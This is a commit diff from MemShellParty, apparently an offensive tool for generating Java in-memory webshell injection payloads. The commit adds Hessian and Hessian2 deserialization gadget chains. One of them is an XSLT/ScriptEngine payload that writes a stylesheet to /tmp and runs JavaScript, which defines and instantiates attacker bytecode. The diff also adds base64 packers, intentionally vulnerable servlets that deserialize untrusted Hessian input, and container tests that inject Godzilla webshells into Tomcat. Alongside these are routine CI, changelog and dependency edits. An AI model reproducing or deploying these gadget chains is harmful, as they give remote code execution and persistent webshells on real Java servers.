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...
16 Commits
47 changed files with 482 additions and 136 deletions
+12
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@@ -126,12 +126,24 @@ jobs:
steps:
- uses: actions/checkout@v4
- name: Download Boot Jar
uses: actions/download-artifact@v4
with:
name: boot
path: boot/build/libs
- name: Calculate SHA-256
id: calculate_sha256
run: |
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
- name: Release
uses: ncipollo/release-action@v1
with:
name: ${{ needs.info.outputs.version }}
tag: ${{ needs.info.outputs.version }}
body: ${{ needs.info.outputs.changelog }}
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
deploy-northflank:
name: Deploy to Northflank
+1 -8
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@@ -2,15 +2,8 @@ name: Test
on:
push:
paths-ignore:
- 'docs/**'
- 'boot/**'
- 'web/**'
- '**.md'
- '**/*.png'
pull_request:
branches:
- main
- '**'
paths-ignore:
- 'docs/**'
- 'boot/**'
+34
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@@ -5,6 +5,36 @@ All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [v1.3.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.1) - 2025-02-20
### Added
- UI 中打包配置中添加 Loading 状态
### Fixed
- 修复 UI 在修改目标服务时,挂载类型有时未跟着变化导致生成失败
**Full Changelog:** [v1.3.0...v1.3.1](https://github.com/ReaJason/MemShellParty/compare/v1.3.0...v1.3.1)
## [v1.3.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.0) - 2025-02-20
### Added
- 支持 Hessian、Hessian2 反序列化,XSLT 链 (#36) by @ReaJason
### Changed
- 移除无用依赖,JavaSocketGson
- Gradle 升级至 8.12.1
- 更新 TestContainers 和 Junit 的版本
### Fixed
- 修复 UI 在仅修改打包方式重新生成时,多选 payload 下拉框置空,且 payload 没有变为最新的。
**Full Changelog:** [v1.2.1...v1.3.0](https://github.com/ReaJason/MemShellParty/compare/v1.2.1...v1.3.0)
## [v1.2.1](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.1) - 2025-02-19
### Changed
@@ -15,6 +45,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- 修复 CB110 版本 serialVersionUID 修改失效导致无法利用成功
**Full Changelog:** [v1.2.0...v1.2.1](https://github.com/ReaJason/MemShellParty/compare/v1.2.0...v1.2.1)
## [v1.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.2.0) - 2025-02-19
### Added
@@ -31,6 +63,8 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- 修复随机类名如果为保留字时会无法加载
**Full Changelog:** [v1.1.0...v1.2.0](https://github.com/ReaJason/MemShellParty/compare/v1.1.0...v1.2.0)
## [v1.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.1.0) - 2025-02-15
### Added
+1
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@@ -152,6 +152,7 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason
- [x] 原生反序列化(CB4
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
+4 -4
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@@ -28,10 +28,10 @@ dependencies {
api 'org.jetbrains:annotations:26.0.1'
api "org.mockito:mockito-core:5.+"
api "org.mockito:mockito-core:5.15.2"
api 'org.hamcrest:hamcrest:3.0'
api 'org.junit:junit-bom:5.10.0'
api 'org.testcontainers:testcontainers:1.20.4'
api 'org.testcontainers:junit-jupiter:1.20.4'
api 'org.junit:junit-bom:5.11.4'
api 'org.testcontainers:testcontainers:1.20.5'
api 'org.testcontainers:junit-jupiter:1.20.5'
}
}
+4 -1
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@@ -10,7 +10,10 @@ WORKDIR /app
COPY build/libs/boot-${VERSION}.jar app.jar
ENV JAVA_OPTS="" \
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
INTER_JAVA_OPTS="\
--add-opens=java.base/java.util=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
EXPOSE 8080
-8
View File
@@ -21,13 +21,6 @@ def runtimeJvmArgs = [
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
@@ -57,7 +50,6 @@ dependencies {
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
}
implementation 'org.springframework.boot:spring-boot-starter-undertow'
implementation 'com.google.code.gson:gson:2.11.0'
compileOnly 'org.projectlombok:lombok'
developmentOnly 'org.springframework.boot:spring-boot-devtools'
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
+5 -26
View File
@@ -8,40 +8,19 @@ version = rootProject.version
dependencies {
implementation 'net.bytebuddy:byte-buddy'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.lang=ALL-UNNAMED',
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(11)
languageVersion = JavaLanguageVersion.of(8)
}
sourceCompatibility = JavaVersion.VERSION_1_8
targetCompatibility = JavaVersion.VERSION_1_8
}
test {
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.Hessian2Output;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class Hessian2DeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(bos);
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
hessian2Output.writeObject(obj);
hessian2Output.close();
return bos.toByteArray();
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.deserialize;
import com.caucho.hessian.io.HessianOutput;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
PayloadType payloadType = config.getPayloadType();
Object obj = payloadType.getPayload().generate(bytes, className);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput hessianOutput = new HessianOutput(bos);
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(obj);
hessianOutput.close();
return bos.toByteArray();
}
}
@@ -9,7 +9,7 @@ import java.io.ObjectOutputStream;
* @author ReaJason
* @since 2024/12/13
*/
public class DeserializeGenerator {
public class JavaDeserializeGenerator {
@SneakyThrows
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
@@ -11,5 +11,18 @@ public interface Payload {
* @param bytes 恶意类字节流
* @return 序列化对象
*/
Object generate(byte[] bytes);
default Object generate(byte[] bytes) {
throw new UnsupportedOperationException();
}
/**
* 将恶意类字节流封装成序列化对象
*
* @param bytes 恶意类字节流
* @param className 恶意类名
* @return 序列化对象
*/
default Object generate(byte[] bytes, String className) {
throw new UnsupportedOperationException();
}
}
@@ -1,6 +1,10 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.*;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import lombok.Getter;
/**
@@ -17,6 +21,10 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* Hessian XSLT write
*/
XSLTScriptEngine(new XSLTScriptEngine())
;
private final Payload payload;
@@ -0,0 +1,51 @@
package com.reajason.javaweb.deserialize.payload.hessian;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.utils.HessianUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import lombok.SneakyThrows;
import javax.swing.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class XSLTScriptEngine implements Payload {
@Override
@SneakyThrows
public Object generate(byte[] bytes, String className) {
String base64Str = Base64.getEncoder().encodeToString(bytes);
String tmpPath = "/tmp/CACHE_XML";
String xml = "<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\n" +
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
" <xsl:template match=\"/\">\n" +
" <xsl:variable name=\"js\" select=\"&quot;var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()&quot;\" />\n" +
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
" <xsl:value-of select=\"$result\"/>\n" +
" </xsl:template>\n" +
"</xsl:stylesheet>\n";
UIDefaults.ProxyLazyValue writeValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{tmpPath, xml.getBytes()});
Reflections.setFieldValue(writeValue, "acc", null);
UIDefaults.ProxyLazyValue processValue = new UIDefaults.ProxyLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file://" + tmpPath}});
Reflections.setFieldValue(processValue, "acc", null);
HashMap<Object, Object> map1 = new HashMap<>(1);
HashMap<Object, Object> map2 = new HashMap<>(1);
HashMap<Object, Object> map3 = new HashMap<>(1);
HashMap<Object, Object> map4 = new HashMap<>(1);
map1.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map2.put("a", new UIDefaults(new Object[]{"abc", writeValue}));
map3.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
map4.put("b", new UIDefaults(new Object[]{"ccc", processValue}));
return HessianUtils.toMap(Arrays.asList(map1, map2, map3, map4));
}
}
@@ -1,4 +1,4 @@
package com.reajason.javaweb.deserialize.payload;
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -16,8 +16,6 @@ import java.net.URLClassLoader;
import java.util.Comparator;
import java.util.PriorityQueue;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
* @author ReaJason
* @since 2024/12/3
@@ -1,4 +1,4 @@
package com.reajason.javaweb.deserialize.payload;
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.deserialize.payload;
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -1,4 +1,4 @@
package com.reajason.javaweb.deserialize.payload;
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
@@ -0,0 +1,32 @@
package com.reajason.javaweb.deserialize.utils;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.List;
/**
* @author ReaJason
* @since 2025/2/19
*/
public class HessianUtils {
public static HashMap<?, ?> toMap(List<?> objs) throws Exception {
HashMap<?, ?> s = new HashMap<>(8);
Reflections.setFieldValue(s, "size", objs.size());
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException var6) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, objs.size());
for (int i = 0; i < objs.size(); i++) {
Array.set(tbl, i, nodeCons.newInstance(0, objs.get(i), objs.get(i), null));
}
Reflections.setFieldValue(s, "table", tbl);
return s;
}
}
@@ -1,7 +1,11 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import sun.reflect.ReflectionFactory;
import sun.security.pkcs.PKCS9Attributes;
import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
/**
@@ -19,7 +23,7 @@ public class Reflections {
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
getAndSetObjectM.invoke(unsafe, Reflections.class, offset, module);
} catch (Exception ignored) {
}
}
@@ -47,4 +51,18 @@ public class Reflections {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static Object createWithoutConstructor(String classname) throws Exception {
return createWithoutConstructor(Class.forName(classname));
}
public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws Exception {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws Exception {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T) sc.newInstance(consArgs);
}
}
+1 -8
View File
@@ -22,13 +22,6 @@ def runtimeJvmArgs = [
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
@@ -58,7 +51,7 @@ dependencies {
implementation 'com.squareup.okhttp3:okhttp'
implementation 'ch.qos.logback:logback-classic'
implementation 'com.alibaba.fastjson2:fastjson2'
implementation 'org.java-websocket:Java-WebSocket'
// implementation 'org.java-websocket:Java-WebSocket'
implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux'
@@ -5,6 +5,10 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2Packer;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.Hessian2XSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianPacker;
import com.reajason.javaweb.memshell.packer.deserialize.hessian.HessianXSLTScriptEnginePacker;
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
import com.reajason.javaweb.memshell.packer.el.ELPacker;
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
@@ -96,6 +100,15 @@ public enum Packers {
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
*/
Hessian2Deserialize(new Hessian2Packer()),
Hessian2XSLTScriptEngine(new Hessian2XSLTScriptEnginePacker(), Hessian2Packer.class),
HessianDeserialize(new HessianPacker()),
HessianXSLTScriptEngine(new HessianXSLTScriptEnginePacker(), HessianPacker.class),
AgentJar(new AgentJarPacker()),
XxlJob(new XxlJobPacker()),
@@ -0,0 +1,17 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2Packer implements AggregatePacker {
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.Hessian2DeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class Hessian2XSLTScriptEnginePacker implements Packer {
@Override
public String pack(GenerateResult generateResult) {
byte[] injectorBytes = generateResult.getInjectorBytes();
String injectorClassName = generateResult.getInjectorClassName();
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = Hessian2DeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.encodeBase64String(generate);
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.memshell.packer.AggregatePacker;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianPacker implements AggregatePacker {
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.hessian;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.HessianDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
public class HessianXSLTScriptEnginePacker implements Packer {
@Override
public String pack(GenerateResult generateResult) {
byte[] injectorBytes = generateResult.getInjectorBytes();
String injectorClassName = generateResult.getInjectorClassName();
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.XSLTScriptEngine);
byte[] generate = HessianDeserializeGenerator.generate(injectorBytes, injectorClassName, deserializeConfig);
return Base64.encodeBase64String(generate);
}
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils110Packer implements Packer {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils16Packer implements Packer {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils18Packer implements Packer {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.DeserializeGenerator;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
@@ -19,6 +19,6 @@ public class CommonsBeanutils19Packer implements Packer {
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
+1 -2
View File
@@ -1,7 +1,6 @@
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
# upgrade command: ./gradlew wrapper --gradle-version latest
distributionUrl=https\://services.gradle.org/distributions/gradle-8.12-all.zip
distributionUrl=https\://services.gradle.org/distributions/gradle-8.12.1-bin.zip
networkTimeout=10000
validateDistributionUrl=true
zipStoreBase=GRADLE_USER_HOME
@@ -78,6 +78,7 @@ public class ShellAssertionTool {
} else {
content = packer.getInstance().pack(generateResult);
assertInjectIsOk(url, shellType, shellTool, content, packer, container);
log.info("send inject payload successfully");
}
switch (shellTool) {
@@ -247,6 +248,8 @@ public class ShellAssertionTool {
case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
case Base64 -> VulTool.postData(url + "/b64", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
@@ -46,7 +46,9 @@ public class Tomcat8DeserializeContainerTest {
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils17),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110)
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
);
}
@@ -56,7 +58,7 @@ public class Tomcat8DeserializeContainerTest {
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@ParameterizedTest(name = "{0}-deserialize|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
+8 -7
View File
@@ -28,6 +28,7 @@ dependencies {
cb170 'commons-beanutils:commons-beanutils:1.7.0'
cb161 'commons-beanutils:commons-beanutils:1.6.1'
implementation 'com.caucho:hessian:4.0.66'
providedCompile 'javax.servlet:javax.servlet-api:3.1.0'
}
@@ -35,18 +36,18 @@ war {
duplicatesStrategy = DuplicatesStrategy.EXCLUDE
doFirst {
delete "${webAppDir}/WEB-INF/dep"
delete "src/main/webapp/WEB-INF/dep"
copy { from configurations.cb110 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb194 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb183 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb170 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb161 into "${webAppDir}/WEB-INF/dep" }
copy { from configurations.cb110 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb194 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" }
}
}
clean {
delete "${webAppDir}/WEB-INF/dep"
delete "src/main/webapp/WEB-INF/dep"
}
test {
@@ -0,0 +1,28 @@
import com.caucho.hessian.io.AbstractHessianInput;
import com.caucho.hessian.io.Hessian2Input;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/2/20
*/
@WebServlet("/hessian2")
public class Hessian2ReadObjServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String data = req.getParameter("data");
byte[] base64 = Base64.getDecoder().decode(data);
ByteArrayInputStream bis = new ByteArrayInputStream(base64);
AbstractHessianInput in = new Hessian2Input(bis);
in.readObject();
}
}
@@ -0,0 +1,28 @@
import com.caucho.hessian.io.AbstractHessianInput;
import com.caucho.hessian.io.HessianInput;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.Base64;
/**
* @author ReaJason
